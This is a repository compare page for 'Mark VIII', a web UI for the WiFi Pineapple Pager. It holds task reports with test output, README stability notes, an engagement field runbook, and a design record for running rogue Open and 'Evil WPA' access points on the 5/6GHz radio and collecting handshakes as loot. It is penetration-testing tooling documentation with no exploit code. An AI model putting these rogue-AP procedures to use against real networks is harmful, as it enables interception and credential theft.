Compare commits
127
Commits
v1.0
..
a04319dfc8
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a04319dfc8 | ||
|
|
e316450271 | ||
|
|
2ef07a28fc | ||
|
|
501fa455ce | ||
|
|
132cf4d77a | ||
|
|
712d381093 | ||
|
|
107cf17611 | ||
|
|
a1b449c9be | ||
|
|
6b84665347 | ||
|
|
92a2a6d8ee | ||
|
|
55d4beb9d4 | ||
|
|
1133068a09 | ||
|
|
23ca901e82 | ||
|
|
b9a64c6560 | ||
|
|
5625310977 | ||
|
|
61c929d891 | ||
|
|
60db235f0b | ||
|
|
b25c98b7c7 | ||
|
|
ba3e1b1ae0 | ||
|
|
027646c905 | ||
|
|
eae47d99bf | ||
|
|
d954b6e90d | ||
|
|
25bae3b4a2 | ||
|
|
63528ff794 | ||
|
|
1bb15de258 | ||
|
|
aba08e36c7 | ||
|
|
4c1144ab32 | ||
|
|
bace45d6e4 | ||
|
|
15cd3c5eb8 | ||
|
|
78aab64af0 | ||
|
|
a008bb9167 | ||
|
|
7a27218149 | ||
|
|
e329fd2a1c | ||
|
|
7d1eb62d75 | ||
|
|
a05754f908 | ||
|
|
88e6471820 | ||
|
|
1d17704f72 | ||
|
|
496f7c58e3 | ||
|
|
2c24107f42 | ||
|
|
4b03ecb1fd | ||
|
|
86d26d8457 | ||
|
|
883a839692 | ||
|
|
cd54402892 | ||
|
|
21e308386f | ||
|
|
a67faecee9 | ||
|
|
2c9fa8d137 | ||
|
|
797db1816a | ||
|
|
d149cb13fd | ||
|
|
922c3ec4ae | ||
|
|
377cc83060 | ||
|
|
00cbc52254 | ||
|
|
7d48b7ad06 | ||
|
|
cd26553d21 | ||
|
|
6e3968c19a | ||
|
|
5a72566381 | ||
|
|
5eb81b90f1 | ||
|
|
904843307e | ||
|
|
37b5e821dd | ||
|
|
52f9f6ecd5 | ||
|
|
32282af1d8 | ||
|
|
6927baf51f | ||
|
|
aaa148fb30 | ||
|
|
8befe45de5 | ||
|
|
53e995d5a7 | ||
|
|
66a62ce234 | ||
|
|
8bd560f8e9 | ||
|
|
13ca4bd9cb | ||
|
|
0ecd8c3135 | ||
|
|
1be93bc24b | ||
|
|
f6b4cadc39 | ||
|
|
d7ef0624f4 | ||
|
|
84ce19b2b3 | ||
|
|
c9a89f1303 | ||
|
|
71fcbf1168 | ||
|
|
9ce4f5dc8e | ||
|
|
2044f08f1e | ||
|
|
e93359fb69 | ||
|
|
72f6a68897 | ||
|
|
6a56db3fef | ||
|
|
2d8ece9f3a | ||
|
|
e1eba04775 | ||
|
|
41b3c849ee | ||
|
|
152178ce82 | ||
|
|
1327bec03c | ||
|
|
1d807a1fcf | ||
|
|
1d836f57c6 | ||
|
|
ce1f6a8442 | ||
|
|
4c5b459f72 | ||
|
|
b5d9ed39ff | ||
|
|
c91d970a41 | ||
|
|
adfe8f784f | ||
|
|
4ce19693d1 | ||
|
|
d10fba9d1b | ||
|
|
0cd9956c4c | ||
|
|
d5506e2aaf | ||
|
|
e871e49466 | ||
|
|
f31b38d1fa | ||
|
|
c33d5d01f3 | ||
|
|
603e249999 | ||
|
|
2533f68d70 | ||
|
|
1d063695fa | ||
|
|
a4285496fb | ||
|
|
2ff0c4d320 | ||
|
|
01c84caaaa | ||
|
|
63fa5ae94a | ||
|
|
38ef4e8d0a | ||
|
|
740348067a | ||
|
|
78424b4a35 | ||
|
|
0459a56f1f | ||
|
|
d8a7074e1f | ||
|
|
251b1f6261 | ||
|
|
f5cddb335a | ||
|
|
af5ff8039b | ||
|
|
c0b9e58aa8 | ||
|
|
12279fe29d | ||
|
|
7536f3ca45 | ||
|
|
be2685aa15 | ||
|
|
ff3bd16855 | ||
|
|
4fa7f8f855 | ||
|
|
cd39833f4b | ||
|
|
4effc08a25 | ||
|
|
b2098bae7d | ||
|
|
7aff767f2a | ||
|
|
27df97ec43 | ||
|
|
acbf4c0ce9 | ||
|
|
5f6dc5bcdb | ||
|
|
2bf39ecb9d |
@@ -3,4 +3,6 @@ __pycache__/
|
||||
*.pyc
|
||||
|
||||
.worktrees/
|
||||
.openchamber/
|
||||
.opencode/
|
||||
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
# Task 1 Report: Cached OUI Identity Resolution
|
||||
|
||||
## Status
|
||||
|
||||
Implemented and verified cached local OUI identity resolution while preserving the existing `oui_vendor()` behavior and unrelated unstaged HTML report changes.
|
||||
|
||||
## Checklist
|
||||
|
||||
- [x] Added failing resolver tests before production changes.
|
||||
- [x] Verified the tests failed because `OUI_DATA_PATHS` and `oui_identity()` were absent.
|
||||
- [x] Added Nmap and macchanger data paths.
|
||||
- [x] Added a lazy process-level identity cache.
|
||||
- [x] Added local database parsing for plain and separated OUI prefixes.
|
||||
- [x] Preserved Nmap precedence over macchanger and built-in fallback.
|
||||
- [x] Added local/randomized and unknown identities.
|
||||
- [x] Returned JSON-safe dictionaries with `manufacturer`, `model`, `oui`, and `source`.
|
||||
- [x] Kept `model` as `None` for every source.
|
||||
- [x] Preserved `oui_vendor()` behavior.
|
||||
- [x] Ran focused and regression tests.
|
||||
- [x] Self-reviewed the diff and checked whitespace.
|
||||
|
||||
## TDD Evidence
|
||||
|
||||
Initial command:
|
||||
|
||||
```text
|
||||
python3 -m unittest tests.test_recon.OuiVendorTest -v
|
||||
```
|
||||
|
||||
Initial result before implementation:
|
||||
|
||||
```text
|
||||
Ran 8 tests in 0.005s
|
||||
|
||||
FAILED (errors=3)
|
||||
```
|
||||
|
||||
All three new identity tests errored at `mock.patch.object(server, 'OUI_DATA_PATHS', ...)` with:
|
||||
|
||||
```text
|
||||
AttributeError: <module 'server' ...> does not have the attribute 'OUI_DATA_PATHS'
|
||||
```
|
||||
|
||||
After the minimal implementation, the focused resolver test result was:
|
||||
|
||||
```text
|
||||
python3 -m unittest tests.test_recon.OuiVendorTest -v
|
||||
|
||||
Ran 9 tests in 0.005s
|
||||
|
||||
OK
|
||||
```
|
||||
|
||||
## Final Verification
|
||||
|
||||
Command:
|
||||
|
||||
```text
|
||||
python3 -m unittest tests.test_recon.DecodersTest -v
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
```text
|
||||
test_decode_encryption_cases (tests.test_recon.DecodersTest.test_decode_encryption_cases) ... ok
|
||||
test_decode_ssid_bytes_and_str (tests.test_recon.DecodersTest.test_decode_ssid_bytes_and_str) ... ok
|
||||
test_decode_ssid_cli_escapes (tests.test_recon.DecodersTest.test_decode_ssid_cli_escapes) ... ok
|
||||
test_fmt_mac_colon_form (tests.test_recon.DecodersTest.test_fmt_mac_colon_form) ... ok
|
||||
test_fmt_mac_noop (tests.test_recon.DecodersTest.test_fmt_mac_noop) ... ok
|
||||
test_norm_mac_12hex (tests.test_recon.DecodersTest.test_norm_mac_12hex) ... ok
|
||||
|
||||
----------------------------------------------------------------------
|
||||
Ran 6 tests in 0.005s
|
||||
|
||||
OK
|
||||
```
|
||||
|
||||
Command:
|
||||
|
||||
```text
|
||||
python3 -m unittest tests.test_recon -v
|
||||
```
|
||||
|
||||
Output summary:
|
||||
|
||||
```text
|
||||
----------------------------------------------------------------------
|
||||
Ran 119 tests in 0.681s
|
||||
|
||||
OK
|
||||
```
|
||||
|
||||
All 119 individual tests printed `... ok`; there were no failures, errors, or warnings.
|
||||
|
||||
Command:
|
||||
|
||||
```text
|
||||
git diff --check
|
||||
```
|
||||
|
||||
Output: no output; exit status 0.
|
||||
|
||||
## Self-Review
|
||||
|
||||
- Local/randomized detection occurs before cache loading, avoiding unnecessary file access.
|
||||
- Cache precedence follows path order and never overwrites an earlier prefix.
|
||||
- Missing files are skipped without masking parsing or programming errors.
|
||||
- Unknown and invalid MACs return JSON-safe values.
|
||||
- `AA` was not used as the unknown global test prefix because its locally administered bit is set; `AC` correctly represents a globally administered unknown prefix.
|
||||
- Existing unstaged HTML signal-ordering changes in `server.py` and `tests/test_recon.py` are intentionally excluded from the Task 1 commit.
|
||||
|
||||
## Concerns
|
||||
|
||||
None. Database source labels rely on the specified two-entry `OUI_DATA_PATHS` ordering.
|
||||
|
||||
## Live Path Correction
|
||||
|
||||
The committed Task 1 diff used `/usr/share/macchanger/OUI.list`, but the design
|
||||
specification and live macchanger package use
|
||||
`/usr/share/macchanger/wireless.list`. Updated `OUI_DATA_PATHS` to the required
|
||||
live path. Resolver tests patch `OUI_DATA_PATHS`, so no test changes were needed.
|
||||
|
||||
Verification after the correction:
|
||||
|
||||
```text
|
||||
python3 -m unittest tests.test_recon.OuiVendorTest -v
|
||||
|
||||
Ran 9 tests in 0.005s
|
||||
|
||||
OK
|
||||
```
|
||||
|
||||
```text
|
||||
python3 -m unittest tests.test_recon -v
|
||||
|
||||
Ran 119 tests in 0.498s
|
||||
|
||||
OK
|
||||
```
|
||||
|
||||
The unrelated unstaged HTML signal-ordering changes in `server.py` and
|
||||
`tests/test_recon.py`, plus untracked loot and certificate files, remain
|
||||
excluded from this correction.
|
||||
@@ -0,0 +1,25 @@
|
||||
# Task 2 Report: Enrich Scan Associations and APs
|
||||
|
||||
## Status
|
||||
|
||||
Implemented and verified. The Task 2 changes are committed as `feat: associate recon clients with confirmed networks`.
|
||||
|
||||
## Changes
|
||||
|
||||
- Added scan-scoped handshake and optional `hostap_client` evidence queries.
|
||||
- Added deterministic association deduplication keyed by client, BSSID, and SSID.
|
||||
- Kept directed probe (`ssid.type = 5`) records out of associations.
|
||||
- Added AP `device_identity`, `clients`, and unique `client_count` fields.
|
||||
- Added client `vendor` and `associations` fields, including empty associations for unassociated clients.
|
||||
- Preserved SSID-only `hostap_client` evidence without assigning a BSSID.
|
||||
- Added fixture coverage for duplicate evidence, a second AP/client pair, directed probes, missing optional tables, identity fields, and timestamps.
|
||||
|
||||
## Verification
|
||||
|
||||
- Focused tests: `python3 -m unittest tests.test_recon.ReconDataTest -v` -> 7/7 passed.
|
||||
- Complete Recon tests: `python3 -m unittest tests.test_recon -v` -> 121/121 passed.
|
||||
- Diff validation: `git diff --check` -> clean.
|
||||
|
||||
## Concerns
|
||||
|
||||
- The working tree contains pre-existing unstaged HTML report signal-order changes and untracked `loot/` and certificate files; these were intentionally preserved and excluded from the Task 2 commit.
|
||||
@@ -8,22 +8,41 @@ Recon (scans from `recon.db`), Handshakes/Loot, Payloads (embedded stock Pager
|
||||
Portal), Logs, Settings (hostname/NTP/password/prefs), and a bottom-docked xterm
|
||||
terminal.
|
||||
|
||||
- Rogue AP on the second radio (5GHz / 6GHz Wi-Fi 6E): Open AP and Evil WPA
|
||||
(WPA2-PSK/WPA3-SAE/WPA3-OWE) on `radio1`, band-aware channel pickers,
|
||||
6GHz requires WPA3. While a radio1 AP is enabled the stock monitor-hopping
|
||||
(`wlan1mon`) is paused and resumed on disable; 2.4GHz PineAP is untouched.
|
||||
|
||||
## Requirements
|
||||
|
||||
- WiFi Pineapple Pager, firmware `Pineapple Pager 24.10.1`
|
||||
- `python3` on the device (present on current firmware)
|
||||
- Windows dev box with Python 3.11 (`winget install Python.Python.3.11`)
|
||||
- `python3` on the device (factory 24.10.1 may not ship it; `scripts/deploy.sh` installs OpenWrt `python3-light` from offline ipks)
|
||||
- Python 3.11 on the development machine
|
||||
|
||||
## Install (sideload)
|
||||
|
||||
macOS/Linux:
|
||||
|
||||
```bash
|
||||
# Recommended: key authentication
|
||||
./scripts/deploy.sh --ssh-key "$HOME/.ssh/pager_key"
|
||||
|
||||
# Password authentication requires sshpass
|
||||
brew install hudochenkov/sshpass/sshpass
|
||||
./scripts/deploy.sh --password '<device-password>'
|
||||
```
|
||||
|
||||
Windows:
|
||||
|
||||
```powershell
|
||||
# deploy.ps1 needs either an SSH key or sshpass for password auth:
|
||||
& .\scripts\deploy.ps1 -SshKey "$HOME\.ssh\pager_key"
|
||||
# or set up a key and add it: ssh-copy-id root@172.16.52.1
|
||||
```
|
||||
|
||||
This builds `build\pager-webui\payload-<b64>.zip`, uploads it, extracts it to
|
||||
`/root/payloads/user/remote_access/pager-webui/`, and refreshes the portal index.
|
||||
The deployment scripts build `build/pager-webui/payload-<b64>.zip`, upload it,
|
||||
extract it to `/root/payloads/user/remote_access/pager-webui/`, and refresh the
|
||||
portal index.
|
||||
|
||||
Then on the Pager menu, run **Mark VIII**:
|
||||
- **Yes** to "Run as background service?" -> procd service (respawns on crash,
|
||||
@@ -32,6 +51,15 @@ Then on the Pager menu, run **Mark VIII**:
|
||||
- Re-run the payload while running to **Stop** the service.
|
||||
- `PAYLOAD_GET_CONFIG pager_webui auto_mode/run_mode` skip the prompt.
|
||||
|
||||
Every payload run (and every service startup) first runs an **environment
|
||||
check** that prints on the payload screen / `/tmp/pagerwebui.log`: daemon
|
||||
reachable, pineapd alive, monitor interfaces up, and recon DB readable. On a
|
||||
healthy pager it **does not rewrite** live PineAP or wireless UCI (SSID pool,
|
||||
hopping, dummy_radio0 STA, Open AP). Crash-prone settings are reported as
|
||||
warnings. Startup aborts only if a core dependency fails. The health monitor
|
||||
will restart a dead pineapd and re-raise dropped monitors; it will not clear
|
||||
the SSID list or disable pool broadcast.
|
||||
|
||||
Browse `http://172.16.52.1:8080/` and log in with the device password.
|
||||
|
||||
## Uninstall / recovery
|
||||
@@ -81,6 +109,64 @@ terminal I/O, and reboot persistence.
|
||||
- `www/` — vanilla JS SPA (no build step) + bundled xterm.js.
|
||||
- `payload.sh` + `pagerwebui.init` — Nautilus-style installer / procd service.
|
||||
|
||||
## Stability notes (Pager 24.10.1)
|
||||
|
||||
### Reliability Core (v1.4.0)
|
||||
|
||||
The factory `/etc/config/pineapd` ships every crash source below enabled, so
|
||||
guards that only live inside Mark VIII revert on every reset/upgrade. v1.4.0
|
||||
makes the fixes structural (payload-only — no firmware changes):
|
||||
|
||||
- **Boot guard** (`mk8-guard`, START=49): enforces the known-good UCI set
|
||||
before the S50 pineapple stack starts; idempotent, diff-only commits,
|
||||
logged to `/tmp/mk8-guard.log` and the event journal.
|
||||
- **Profiles + rollback watchdogs**: every risky operation (AP deploy,
|
||||
client-mode change, profile restore) first snapshots UCI under
|
||||
`/mmc/mk8/profiles/`, then spawns a detached watchdog probing *local*
|
||||
liveness (`127.0.0.1:8080` + monitor presence). Sustained failure →
|
||||
automatic snapshot restore + `wifi reload`; recovery → promotes
|
||||
`lastknown-good`. Watchdogs self-exit after 120 quiet ticks.
|
||||
- **RF plan**: phy0 is always 2.4GHz ops; phy1 role-switches
|
||||
uplink/attack/idle (`POST /api/rfplan/role`). The uplink STA lives on
|
||||
radio1, so client-mode no longer blinds 2.4GHz recon. Hop governance
|
||||
belongs to the role manager, not the boot guard.
|
||||
- **Supervisor**: passive sampler (pidof/iw//proc only — never pineapd's
|
||||
socket), bounded JSONL journal at `/mmc/mk8/events.log`, boot-marker
|
||||
unexpected-reboot detection, memory watermark alerts. Dashboard shows
|
||||
events feed + reliability counters + guard sync chip.
|
||||
- **Atomic deploys**: `scripts/deploy.sh` stamps `VERSION` into build
|
||||
copies only, sha256-verifies the upload, swaps `/mmc/mk8/releases/<ts>`
|
||||
with a `current` symlink, polls local health, and auto-rolls back to the
|
||||
previous release on failure.
|
||||
- **Smoke suite**: `scripts/smoke.sh` on-device (read-only checks always;
|
||||
`--write` adds reconcile/watchdog drills; `SMOKE_UPLINK_SSID=...` enables
|
||||
the RF-role drill). All checks verified against live hardware including
|
||||
reboot persistence.
|
||||
|
||||
Persistent state lives in `/mmc/mk8/` and survives reboots *and* firmware
|
||||
upgrades (overlay wipes). A pre-reliability config backup is captured at
|
||||
first deploy.
|
||||
|
||||
### pineapd crash sources found and fixed on this firmware
|
||||
|
||||
pineapd crash sources found and fixed on this firmware (verified on-device,
|
||||
zero crashes over sustained watches):
|
||||
|
||||
1. **SSID-pool broadcast** — segfaults pineapd (~15s cadence). Kept disabled.
|
||||
2. **wlan2mon** — a 6GHz monitor this hardware never creates; hopping the
|
||||
missing iface segfaults pineapd. Disabled.
|
||||
3. **Large refilled pool** — the pool list itself crashes pineapd even with
|
||||
broadcast disabled. The health monitor clears it (collect refills).
|
||||
4. **wlan1mon fast-hopping 6GHz** — stalls pineapd's command socket; the
|
||||
stock daemon's watchdog then SIGTERMs pineapd every ~30s. Bands pinned
|
||||
to 5GHz (2.4GHz only on wlan0mon).
|
||||
5. **Socket collisions** — actively pinging pineapd from a health monitor
|
||||
collides with the stock daemon's own socket writes. The monitor now
|
||||
checks `pidof` only.
|
||||
|
||||
`GET /api/health` reports pineapd/monitor state; the top bar shows a
|
||||
PINEAP OK / POOL OFF / PINEAPD DOWN chip.
|
||||
|
||||
## Security notes
|
||||
|
||||
- Auth via device password validated against the daemon; HttpOnly session
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
# Mark VIII Field Runbook
|
||||
|
||||
Operational procedures for running Mark VIII v1.4.0+ on a WiFi Pineapple
|
||||
Pager. The reliability subsystem is documented in the README; this file is
|
||||
the how-to-run-it companion.
|
||||
|
||||
## Pre-engagement checklist (2 minutes)
|
||||
|
||||
From the Dashboard health panel (or `scripts/smoke.sh` over SSH):
|
||||
|
||||
- [ ] Health chip green; guard chip shows `GUARD OK` (not PENDING).
|
||||
- [ ] Both monitors present (`wlan0mon`, `wlan1mon`).
|
||||
- [ ] Reliability counters sane: no unexpected boots since last check;
|
||||
rollbacks/restarts at expected values.
|
||||
- [ ] Recent events feed shows a clean `boot` entry for this session.
|
||||
- [ ] RF plan as intended: `PHY0: OPS`, `PHY1:` in the state you want.
|
||||
|
||||
If anything fails: run `sh /tmp/smoke.sh` (re-upload via
|
||||
`scp scripts/smoke.sh root@<ip>:/tmp/` if tmpfs was cleared) and read
|
||||
which check fails before deploying to a target environment.
|
||||
|
||||
## During an engagement
|
||||
|
||||
- **Prefer phy1 for any uplink** (`POST /api/rfplan/role {"role":"uplink",
|
||||
"ssid":...,"psk":...}`). phy0 stays fully hoppable for 2.4 GHz work.
|
||||
Expect 5 GHz recon limited to the uplink's channel while associated.
|
||||
- **Switching back**: `{"role":"attack"}` tears the STA down with a gated
|
||||
reload; verify the RF chip flips and wlan1mon hops again.
|
||||
- **Watch the events feed.** Occasional `guard_fix` entries are the
|
||||
supervisor healing stock-daemon regressions (STA re-parks, UCI
|
||||
re-applies) — normal. A stream of them means the stock UI is fighting
|
||||
you: stop touching the stock PineAP page mid-engagement.
|
||||
- **Rollback watchdogs** arm around risky operations. If the web UI dies
|
||||
after an operation, wait ~60 s: the watchdog restores the pre-op snapshot
|
||||
automatically or promotes the change once healthy. Do NOT power-cycle
|
||||
before that window passes.
|
||||
- **Never** hand-edit `/etc/config/pineapd` mid-engagement; use Mark VIII
|
||||
endpoints. Hand edits race the stock daemon and the reconciler.
|
||||
|
||||
## After an engagement
|
||||
|
||||
1. Stop attacks and switch phy1 to `idle`.
|
||||
2. Export loot (Handshakes export, HTML/CSV reports). Loot lives under
|
||||
`/root/loot/**` and survives reboots — pull it off-box anyway.
|
||||
3. Save a profile (Settings → Reliability), e.g. `post-<site>-<date>`.
|
||||
4. Skim events for `rollback` / `mem_warn` entries worth noting.
|
||||
|
||||
## Recovery procedures
|
||||
|
||||
### Web UI unreachable but device seems alive
|
||||
|
||||
Wait 60 s — a rollback watchdog may be mid-restore. Then SSH:
|
||||
|
||||
curl -fsS http://127.0.0.1:8080/ >/dev/null && echo up
|
||||
|
||||
If still down, check whether a watchdog is running (`ps | grep watchdog`)
|
||||
and let it finish; if it already rolled back but the UI did not return,
|
||||
restart the service: `/etc/init.d/pagerwebui start`.
|
||||
|
||||
### Roll everything back to a known-good state
|
||||
|
||||
Settings → Reliability → restore `lastknown-good` (auto-captured whenever
|
||||
the system has been healthy for 5 minutes), or over SSH:
|
||||
|
||||
python3 /mmc/mk8/releases/current/user/remote_access/pager-webui/server.py \
|
||||
--rollback-snapshot lastknown-good
|
||||
|
||||
### After a firmware upgrade or factory reset
|
||||
|
||||
The overlay is wiped; Mark VIII is gone but `/mmc/mk8/` (profiles,
|
||||
journal, releases) survives. Reinstall:
|
||||
|
||||
./scripts/deploy.sh --password '<device password>'
|
||||
|
||||
The deploy re-installs mk8-guard + service from your release; profiles and
|
||||
history are still there. Verify with `sh /tmp/smoke.sh`.
|
||||
|
||||
### Device totally unreachable
|
||||
|
||||
Power cycle. On boot, mk8-guard re-applies safe PineAP UCI before pineapd
|
||||
starts, so the device comes back crash-free even if the stock daemon had
|
||||
been left in a bad state. If SSH is still refused after full boot, use the
|
||||
Hak5 first-boot recovery for the firmware image you are on.
|
||||
|
||||
## Known limitations
|
||||
|
||||
- Role drill in smoke needs a real AP: `SMOKE_UPLINK_SSID=... [--write]`.
|
||||
- While phy1 carries an uplink, 5 GHz recon sees only that channel
|
||||
(radio physics, not a bug).
|
||||
- Idle monitors park on one channel between scans; hopping resumes during
|
||||
recon scans (verified: ch48 -> ch157 -> ch40).
|
||||
- Journal is capped at 4 x 5 MB on /mmc; counters read the newest ~5000
|
||||
entries.
|
||||
@@ -0,0 +1,217 @@
|
||||
# Radio1 5GHz/6GHz Rogue AP — Design Record
|
||||
|
||||
- **Date:** 2026-08-17
|
||||
- **Status:** Implemented and verified on-device (see §9)
|
||||
- **Owner:** Hak5 WiFi Pineapple Pager expansion project
|
||||
- **Scope:** Mark VIII WebUI (`http://172.16.52.1:8080/`) running a rogue AP on
|
||||
the Pager's second radio (`radio1` = MT7921U Wi-Fi 6E) on 5GHz and 6GHz, with
|
||||
band-aware channel pickers, without breaking the stock Pager UI's control of
|
||||
its own interfaces.
|
||||
|
||||
## 1. Goal
|
||||
|
||||
Today Mark VIII's PineAP Open AP and Evil WPA pages configure only `wlan0open`
|
||||
/ `wlan0wpa` on `radio0` (2.4GHz) via the stock daemon's `set_ap` endpoint. The
|
||||
Pager carries a second radio — an MT7921U Wi-Fi 6E on internal USB — that is
|
||||
otherwise only used by the stock daemon's hopping monitor `wlan1mon`. This
|
||||
feature lets Mark VIII run an Open AP or Evil WPA (WPA2-PSK / WPA3-SAE /
|
||||
WPA3-OWE) on `radio1` at 5GHz and 6GHz, configured directly via UCI, with a
|
||||
UI that picks channels by band and enforces WPA3 on 6GHz.
|
||||
|
||||
## 2. Hardware findings
|
||||
|
||||
Verified against the committed implementation (`server.py`, `views.js`) and the
|
||||
plan's on-device groundwork:
|
||||
|
||||
- **`radio0`** — MT7628, **2.4GHz only**. The stock PineAP daemon owns
|
||||
`wlan0open`, `wlan0wpa`, `wlan0cli`, `wlan0mon`, `wlan0mgmt`. This feature
|
||||
does not change that ownership.
|
||||
- **`radio1`** — MT7921U Wi-Fi 6E on internal USB (`phy1`), capable of
|
||||
2.4/5/6GHz. The stock daemon owns `wlan1mon`, a daemon-managed hopping
|
||||
monitor interface: `pineapd.wlan1mon` has `bands='2,5,6'` and `hop='1'`.
|
||||
- Because `radio1` has a single channel shared by all its virtual interfaces,
|
||||
a `wlan1` AP and the hopping `wlan1mon` cannot both be active with an
|
||||
operator-chosen channel — hence the hop pause/resume mechanism (§6).
|
||||
- UCI state (`wireless.radio1`): stock defaults are `band='5g'`,
|
||||
`channel='auto'`, `htmode='VHT80'`, `country` set for the device region.
|
||||
|
||||
## 3. Band / channel model
|
||||
|
||||
`server.py` defines the authoritative mapping (helpers added near
|
||||
`_uci_wifi_iface`):
|
||||
|
||||
| Band | `BAND_*` | Channels | `band_htmode` | `band_radio` |
|
||||
|---|---|---|---|---|
|
||||
| 2.4GHz | `BAND_2G = '2.4'` | `1–14` | `HT20` | `radio0` |
|
||||
| 5GHz | `BAND_5G = '5'` | `36–177` | `VHT80` | `radio1` |
|
||||
| 6GHz | `BAND_6G = '6'` | `181–233` (step 4) | `HE80` | `radio1` |
|
||||
|
||||
- `channel_band(ch)` classifies **2.4GHz (1–14) first, then 5GHz (36–177)**, and
|
||||
only then 6GHz (`1 ≤ ch ≤ 233` and `(ch − 1) % 4 == 0`). Because 2.4 and 5GHz
|
||||
take precedence, **the only reachable 6GHz channels are `181, 185, …, 233`**
|
||||
(the low 6E channels `1,5,…,177` are swallowed by the 2.4/5GHz ranges). The
|
||||
UI's 6GHz group therefore offers exactly `181..233 step 4`.
|
||||
- `CHANNEL_BANDS` mirrors this: `range(1, 15)`, `range(36, 178)`,
|
||||
`range(181, 234, 4)` — held consistent by tests.
|
||||
- `DFS_CHANNELS` = `52..64` and `100..144` (step 4). DFS channels are surfaced
|
||||
to the operator in the UI with a `(DFS)` marker; this feature does not attempt
|
||||
radar-CAC handling on-device.
|
||||
- `channel_freq(band, ch)`: 2.4 → `2412 + (ch−1)·5`; 5 → `5180 + (ch−36)·5`;
|
||||
6 → `5955 + (ch−1)·5`.
|
||||
- `band_htmode` maps 2.4/5/6 → `HT20` / `VHT80` / `HE80` (written to
|
||||
`wireless.radio1.htmode`). `band_radio` maps 2.4 → `radio0`, 5/6 → `radio1`.
|
||||
|
||||
## 4. API behavior
|
||||
|
||||
### 4.1 `h_pineap_wifi_get_ap` (POST `/api/pineap/wifi/get_ap`)
|
||||
|
||||
- If `wlan1open` **or** `wlan1wpa` exists in `wireless`, state is read from
|
||||
`radio1` (`wlan1open`/`wlan1wpa`); otherwise from `radio0`
|
||||
(`wlan0open`/`wlan0wpa`) — the 2.4GHz response shape is unchanged.
|
||||
- `open.channel` and `wpa.channel` are reported **per interface**, falling back
|
||||
to the owning radio's channel when the iface section has no channel option
|
||||
(regression-tested). `wpa.enctype` is normalized to `psk2` / `sae` / `owe`.
|
||||
- A new `radio1` object reports the raw `wireless.radio1` state:
|
||||
`{band, channel, htmode, country}`, with `band` normalized from `2g`/`5g`/`6g`
|
||||
to `'2.4'`/`'5'`/`'6'` (default `'5'`), and `channel` left as the raw string
|
||||
(`'auto'` or a channel number) — the UI converts; `'auto'` is not int-coerced.
|
||||
|
||||
### 4.2 `h_pineap_wifi_set_ap` (POST `/api/pineap/wifi/set_ap`)
|
||||
|
||||
`channel` is now accepted in both `open` and `wpa` payloads. Behavior matrix:
|
||||
|
||||
- **2.4GHz channels (1–14):** exactly today's path — daemon
|
||||
`PUT /api/settings/wifi/set_ap` for `wlan0open`/`wlan0wpa` followed by
|
||||
`_apply_open_radio` (which persists `radio0.channel`/`country`). If a
|
||||
`wlan1*` AP exists it is removed first (`_remove_radio1_ap`, §6) so a 2.4GHz
|
||||
save tears down a stale radio1 AP.
|
||||
- **5GHz (36–177) / 6GHz (181–233):** `_apply_radio1_ap` (below).
|
||||
- **Mixed request:** a request carrying both a 2.4GHz object and a 5/6GHz
|
||||
object returns `400 'cannot configure 2.4GHz and radio1 APs in one request'`
|
||||
(radio1 is one physical radio — one band/channel per request).
|
||||
- **Disable:** a radio1 request with no active 5/6GHz object (or a 2.4GHz save)
|
||||
runs `_remove_radio1_ap()` + `wifi reload` and returns `200`.
|
||||
|
||||
`_apply_radio1_ap(openap, wpa)` (one of the two is active):
|
||||
|
||||
1. Validates the band — a radio1 AP requires a 5GHz or 6GHz channel
|
||||
(`ValueError` → HTTP 400).
|
||||
2. **6GHz requires WPA3:** when the active AP is a WPA AP on 6GHz, `enctype`
|
||||
must be `sae` or `owe`; `psk2` is rejected with HTTP 400
|
||||
(`'6GHz requires WPA3 (sae or owe)'`). An **open** 6GHz AP is accepted by
|
||||
the backend, but the UI warns that real clients generally won't associate to
|
||||
an open 6GHz network.
|
||||
3. Deletes any existing `wlan1open`/`wlan1wpa` (idempotent), then writes UCI:
|
||||
- `wireless.radio1.band` = `5g`/`6g`, `wireless.radio1.channel`,
|
||||
`wireless.radio1.htmode` (`band_htmode`), `wireless.radio1.country`
|
||||
(when supplied);
|
||||
- a `wifi-iface` section `wlan1open` (encryption `none`, optional BSSID) or
|
||||
`wlan1wpa` (`encryption` + `key`) on `device=radio1`, `mode=ap`, with the
|
||||
interface-level `channel`/`hidden`/`ssid`.
|
||||
4. `uci commit wireless`, `_pause_hop()` (§6), then `wifi reload`.
|
||||
|
||||
## 5. Coexistence rules — "don't break stock"
|
||||
|
||||
- **Mark VIII owns:** `wireless.wlan1open`, `wireless.wlan1wpa`, and
|
||||
`wireless.radio1.{channel,band,htmode,country}`. These are new sections /
|
||||
values it creates and tears down.
|
||||
- **Stock owns (never modified by Mark VIII):** `wireless.wlan0open`,
|
||||
`wlan0wpa`, `wlan0mgmt`, `wlan0cli`, `wlan0mon`, `wireless.wlan1mon`, and all
|
||||
`pineapd.*` UCI values (bands configuration included).
|
||||
- **The only stock-owned value this feature writes is
|
||||
`pineapd.wlan1mon.hop`** — and it is always restored to its prior value
|
||||
(`_resume_hop` sets it back to `1` only if it was `0`; `_pause_hop` sets it
|
||||
to `0` only if it was not already `0`).
|
||||
- The 2.4GHz daemon path (`PUT /api/settings/wifi/set_ap` for `wlan0open` /
|
||||
`wlan0wpa`) is byte-for-byte unchanged.
|
||||
- **Known risk (accepted):** the stock daemon's `set_ap`/pager-UI writes may
|
||||
rewrite `wireless` wholesale and drop the `wlan1*` sections. Mitigation is
|
||||
UCI-commit persistence, hop restore on disable, and on-device verification
|
||||
(§9). If clobbering is observed, the deferred fix is a reconcile-on-load step
|
||||
in `get_ap` that re-applies a saved radio1 AP from `PINEAP_STATE_FILE`.
|
||||
|
||||
## 6. Hop pause / resume
|
||||
|
||||
`wlan1mon` is the stock daemon's channel-hopping monitor. With a radio1 AP
|
||||
active, hopping would fight the AP's fixed channel, so it is paused while the
|
||||
AP is enabled:
|
||||
|
||||
- `_read_hop()` reads the value via `uci get pineapd.wlan1mon.hop` (a leaf
|
||||
read — not `_uci_wifi_iface`, which forces the `wireless.` prefix).
|
||||
- `_pause_hop()`: if `hop != '0'`, set `pineapd.wlan1mon.hop=0`, `uci commit
|
||||
pineapd`, reload `/etc/init.d/pineapd`.
|
||||
- `_resume_hop()`: if `hop == '0'`, set it back to `1`, commit, reload.
|
||||
- `_apply_radio1_ap` calls `_pause_hop()` before `wifi reload`;
|
